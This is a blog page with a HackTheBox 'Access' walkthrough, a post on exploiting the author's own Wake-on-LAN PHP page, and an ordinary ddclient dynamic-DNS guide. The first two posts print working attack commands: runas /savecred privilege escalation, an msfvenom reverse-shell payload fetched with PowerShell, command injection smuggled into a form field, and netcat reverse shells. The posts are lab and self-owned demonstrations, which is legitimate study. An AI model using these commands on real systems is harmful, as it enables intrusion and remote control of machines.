AuthorScott Rainville

HackTheBox: ‘Access’ Walkthrough

Here’s how to pop the box titled ‘Access’ on HackTheBox! Watch the video below or continue reading.

To start, let’s do an nmap scan:

nmap -sV -sC 10.10.10.98

We can see that there’s a web server, telnet, and FTP open. Let’s try for anonymous FTP access.

Sure enough, it’s allowed. There’s two directories…

In each directory, there’s a file. Let’s pull each of them.

(I put FTP in binary mode with the command ‘binary’ before pulling)

If we run the ‘file’ command on the backup.mdb file, we can see it’s a Microsoft Access Database.

If I pop it open in Microsoft Access, there’s a particular table of interest. We’ve got creds!

engineer: access4u@security

The other file we pulled is a ZIP, and can be extracted with the above password.

In the ZIP is a .PST file that we can extract using readpst:

readpst -o pstexport/ -D -j4 -r -tea -u -w -m Access\ Control.pst
readpst spits out two files, it’s the same message in .eml and .msg format.

Sure enough, if when we cat the contents of the message we see another credential among the headers and markup:

security: 4Cc3ssC0ntr0ller

Next, we telnet in to the box with those creds:

Success

Grabbing the user flag:

Next, let’s do some recon to find active users and any stored credentials.

powershell -Command (get-wmiobject win32_useraccount)

cmdkey /list
I’m invoking WMI with Powershell because the cmd prompt is somewhat jailed and restricts calling WMI.

The above output is very interesting, we can see that there’s stored credentials… maybe the “security” user ran something as Administrator and the password is cached?

runas /user:Administrator /noprofile /savecred "cmd.exe /c whoami > C:\users\security\me.txt"
Running “whoami” with the saved creds

Running the “runas” command with /savecred works to elevate to Administrator! Above, I plopped out the contents of a ‘whoami’ command to prove it. At this point, we can get the root flag!

runas /user:Administrator /noprofile /savecred "cmd.exe /c type C:\users\administrator\desktop\root.txt > C:\users\security\root.txt"

But why stop there? Let’s get Meterpreter shell as SYSTEM to take it a step further.

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.12.61 LPORT=31337 -e x86/shikata_ga_nai -f exe -o shell.exe

python ../tools/SimpleHTTPServer.py
Using msfvenom to generate a Meterpreter reverse shell payload, then starting a simple HTTP server to serve up the shellcode

Then we pull down the .exe with the Meterpreter payload embedded onto the system:

powershell -Command (new-object System.Net.WebClient).Downloadfile('http://10.10.12.61:8000/shell.exe', 'shell.exe')

Then let’s get ready on my Kali system to catch the reverse shell before we run it.

Getting ready with good ‘ol msfconsole

The rest is a piece of cake. I run the shell.exe file as Administrator on the box, using the saved credential technique mentioned above, and the shell connects to me.

That’s it! This box was interesting because it wasn’t as exploit-based as it was permissions based. Like most HackTheBox systems, the name is fitting!

How to Hack My Own Wake-on-LAN PHP Site

Two years ago, I wrote a simple PHP web page that can be used the remotely power on computers enabled for WOL (Wake on Lan) on the same subnet as the web server, available here on GitHub.

When I wrote this, I knew it wasn’t bound to be incredibly secure. I even put in a warning in the header not to make it internet-accessible, and now I’m going to show you why that warning was warranted! We’re going to pop my server running this site wide open to show just how hackable the simplest mistakes/laziness on a developer’s part can be.

The server is running on an installation of Ubuntu 14.04.

It’s made with some basic HTML,  CSS, and PHP with a couple forms, “dropdown” and “password” that are sent back to the same file via HTTP POST when the “submit” button is pressed, highlighted below:

The first form, “dropdown” is of type “select” which means you get to select one of the options below it, each with a value. The first option to this form, “[none]”, has no value, and the second, “Scott’s PC”, has a value of “BC:5F:F4:3B:3E:9A”, my MAC address.

The second form, “password”, is of type “password”, meaning it shows up as a text box the user can type into, as you can see in this screenshot.

 

The PHP script reads the content of these two forms (again, “dropdown” and “password”), sets their values into variables ($mac and $password):

The script then makes sure the password is correct (using a really bad method, it should instead use hashing with many iterations to verify, but I digress), then uses an exec() statement to execute the “wakeonlan” command on the server, with the value of $mac being fed into the command to specify which destination is to be remotely powered on.

 

Now, the vital key component is the fact that the exec() statement reads in user input from the value of “dropdown” and executes code on the system based on this input. Assuming the value of $mac (again, fed from the “dropdown” form) is a MAC address, the server would do this:

exec(“wakeonlan AB:CD:EF:GH:IJ:KL”);

But, if we can manage to set the value of $mac to something nasty, we can make it do something like this:

exec(“wakeonlan AB:CD:EF:GH:IJ:KL; cat /etc/password”);

All we need to do is add in a semicolon, a space, then whatever command we want (above ex. “cat /etc/passwd”) into the value of $mac and the server will finish the first command, then do what we want!

There are a few catches, though. Firstly, the server doesn’t read back the result of the exec() command to the user, so we can’t directly see what it does. Secondly, they’d need to know the page’s password, but many people are bound to leave it at “password.” And if not, if an attacker could get between the user and the server, it’d be possible to capture the correct credentials, which are not encrypted unless the site is running HTTPS.

To get our intended code into the server, we just need to modify the value of “dropdown” that’s sent over. A novice might think that the user can only send over whatever values can be selected in the “Select Computer” dropdown menu. But with a tool or two, we can send over something custom!

Doing a packet capture with Wireshark on a system clicking the “submit” button on the site with “Scott’s Computer” selected from the drop-down, we see the following using the Analyze -> Follow TCP Stream feature:

The red is the request sent over, and the blue is the response from the server with the body encoded. But we don’t need to worry about the response, we’re only interested in how our values are sent over. Pay particular attention to the bottom red line:

dropdown=BC%3A5F%3AF4%3A3B%3A3E%3A9A&password=password

It looks a tad funky from URL encoding, but it contains the values of the “dropdown” and “password” fields the client sent over! And, as I explained, the value of “dropdown” is fed into the exec() statement, so all we need to do is plop our nasty code on the end of it!

This form data is sent over as a POST, meaning the value is sent in the body of the HTTP request from the client in that bottom red line. If it used GET, the values would be sent over in the URL, like this:

GET /wakelan/wakelan.php?dropdown=BC%3A5F%3AF4%3A3B%3A3E%3A9A&password=password

Which would be super easy to exploit. But, it’s using POST, so we need to somehow replace these values in the body of the request.

First, I decode the bottom red line to make it neater with a tool called CyberChef. I just use the “Decode URL” function, and this is what I get:

dropdown=BC:5F:F4:3B:3E:9A&password=password

This line contains the values of “dropdown” and “password”, separated with a &. I just need to add my shellcode to the end of the value corresponding to “dropdown.” Let’s just make it ping my computer for now, adding a semicolon and the “ping” command:

dropdown=BC:5F:F4:3B:3E:9A; ping 172.16.0.11&password=password

But, of course, this needs to be URL encoded, so I again use CyberChef to URL encode that so the server likes it:

dropdown=BC:5F:F4:3B:3E:9A;%20ping%20172.16.0.11&password=password

Now, here comes the tricky part. How to send over a request with this custom “dropdown” form value? You can’t type it into the web browser window, because it’s only a dropdown menu with limited, non-evil options… how about the Linux tool cURL?

curl –data “dropdown=BC:5F:F4:3B:3E:9A;%20ping%20172.16.0.11&password=password” 172.16.0.9/wakelan/wakelan.php

This simple command sends a web request to the server, with the –data flag specifying a custom field that’s used to replace the values of “dropdown” and “password” (remember the bottom red line from earlier – we’re just replacing that, basically). The other fields from that red text wouldn’t be the same as if we were connecting with a web browser, but they don’t matter so much.

So, when I run tcpdump on my attacker system listening for incoming ping requests and then enter that cURL command, I get pings back! The server is obeying my command!

This is a working exploit! But we can have more fun than that, can’t we?

Yup!

Let’s have the server start a shell session (bash) on the server with its input and output to/from this shell session sent over the network, using Netcat, so my attacker system can remote-control the shell session. All I need to do is start a listener on my attacker system on pretty much any port I want (I chose 4444, naturally)

nc -lvp 4444

Then have the server execute the following command:

nc 172.16.0.11 4444 -e /bin/bash

This command tells it to start a netcat session back to my attacker machine (172.16.0.11) on port 4444, and also start a BASH shell with the input/output of this shell tied to that network connection so I can remote-control it.

However, there’s different versions of netcat. The BSD version, which comes by default on Debian, doesn’t support the -e option we used earlier to tie the BASH session to the netcat connection. So, you can instead use the following command, which will use two netcat connections from your attacking machine: One for shell input, one for output. Ultimately, on your attacker machine, you’ll type input in one window and receive the command output on the other. Not as neat, but it works if you need it to (just replace the IPs/ports with your own, of course):

nc 172.16.0.11 4444 | /bin/bash | nc 172.16.0.11 4445

So, to make the server execute it the netcat command, I just plop this command into the custom field after the MAC address:

dropdown=BC:5F:F4:3B:3E:9A; nc 172.16.0.11 4444 -e /bin/bash&password=password

Then URL-encode it so it looks like this:

dropdown=BC:5F:F4:3B:3E:9A;%20nc%20172.16.0.11%204444%20-e%20/bin/bash&password=password

Then send this field over using cURL like I did with the ping command:

curl –data “dropdown=BC:5F:F4:3B:3E:9A;%20nc%20172.16.0.11%204444%20-e%20/bin/bash&password=password” 172.16.0.9/wakelan/wakelan.php

I then get a reverse shell back! I can now type in whatever commands I want from the attacker system, and the server executes it. It’s as if I’m sitting at the logged-in terminal of the server!

Above, you can see me executing “whoami” and “ls -l” on the server. But there’s a couple things to understand here: first, this shell session is running as the same user that runs the web server (www-data), because that web server invoked the command like I told it to. www-data is an unprivileged user, but all it takes is for a victim to be running their web server as a privileged user and I would have complete control of the system. Or, one could perform a privilege escalation on the system, if possible, to gain root access. But don’t get me wrong, being www-data isn’t a bad start. It’s as if I’m physically using the terminal of the system as a normal user.

In the grand scheme of things, this exploit is rather rudimentary, especially for a seasoned penetration tester (which I am, admittedly, not). But at any rate, it’s interesting to see how exploitable the simplest mistakes can be. In this case, the mistake being the failure to sanitize user input before being handed down into the exec() statement in PHP.

As always, please remember to only exploit the property of others with their consent. I am not liable for the actions of others using this information.

Configuring DDclient DyDNS for Google Domains on Debian Linux

As follows is a quick guide on configuring your Google Domains domain(s) to be automatically updated via Dynamic DNS with ddclient.

Google Domains offers Dynamic DNS configurabilty at no additional expense, so doing this is practically a no-brainer! I’m doing this on a Raspberry Pi that also acts as my internal DNS BIND server to keep my public domains updated.

Configure Google Domains

Firstly, we need to configure your Google domain for Dynamic DNS support.

Under the DNS section of Google Domains, go to the “Synthetic Records” section.

Select “Dynamic DNS” from the left menu, enter the subdomain of your domain you want to configure for DyDNS, and press “Add.” In this example, I entered “@” because I want the top-level of my domain (rainvilletech.net itself) to be configured for DyDNS. If you wanted “random.mysite.com” to be dynamically updated, you’d enter “random” instead of “@.”

 

Install DDclient on Debian

Run the following:

sudo apt-get update
sudo apt-get install ddclient

Note: Leave options blank in the setup GUI that starts, we need to manually edit the configuration anyway.

 

Then stop the ddclient service for us to reconfigure it:

sudo systemctl stop ddclient

 

Edit /etc/ddclient.conf to look like the following, replacing the key portions with your values:

# Configuration file for ddclient generated by debconf
#
# /etc/ddclient.conf

if=enxb827eb06c7a8

ssl=yes
protocol=googledomains
login=username
password=’passwordhere’
daemon=300
use=web, web=checkip.dyndns.com
mywebsite.com

if: Enter the network interface that should be used for making connections. This is easily obtainable via “ifconfig.”

protocol=googledomains: DDclient supports this, although not listed as an option in the setup we went through at install, which is a bit misleading.

login: Enter your username, found from the Dynamic DNS synthetic record you made at the beginning.

password: Make sure this has single-quotes around it.

daemon: This is the interval of seconds between checks the server will perform to see if its IP needs updating.

use, web: This tells DDclient to obtain its own external IP via dydns.org. Remember, if you’re running NAT (which you probably are), the IP in your server’s interface is not the same as your public IP! This takes care of that.

mywebsite.com: Enter your domain here. If you’re updating the top-level of the domain like I am, omit the “@.”

 

In /etc/default/ddclient, find and set the following lines:

run_daemon=”true”
daemon_interval=”300″

This tells ddclient to run as a daemon. Otherwise, it’ll only run once when you start it, then never again! Many guides miss this crucial step. I’ve set “daemon_interval” to 300 so the server checks for an IP update every 300 seconds (5m).

 

Test Configuration, Initially Update Domain, Install Service

Now it’s time to see if it works! Run the following:

sudo ddclient -daemon=0 -debug -verbose -noquiet

This runs the program in the CLI once for troubleshooting. You’ll be able to tell if it works by the output it generates. If so, check Google Domains! Your record should be updated:

 

Then enable ddclient and check to see if it’s running properly.

sudo systemctl enable ddclient

sudo systemctl start ddclient

sudo systemct status ddclient

You should see “active (running)” from the third command above.

 

Give the server a reboot to check that it still runs happily when it reboots. Maybe even take a packet capture to see your server reaching out every now and again! I used tcpdump to see the following:
That’s ddclient reaching out every five minutes to check its public IP!

 

Need more help? See Google’s documentation on DyDNS here.

 

 

© 2019 Rainvilletech Blog

Theme by Anders NorénUp ↑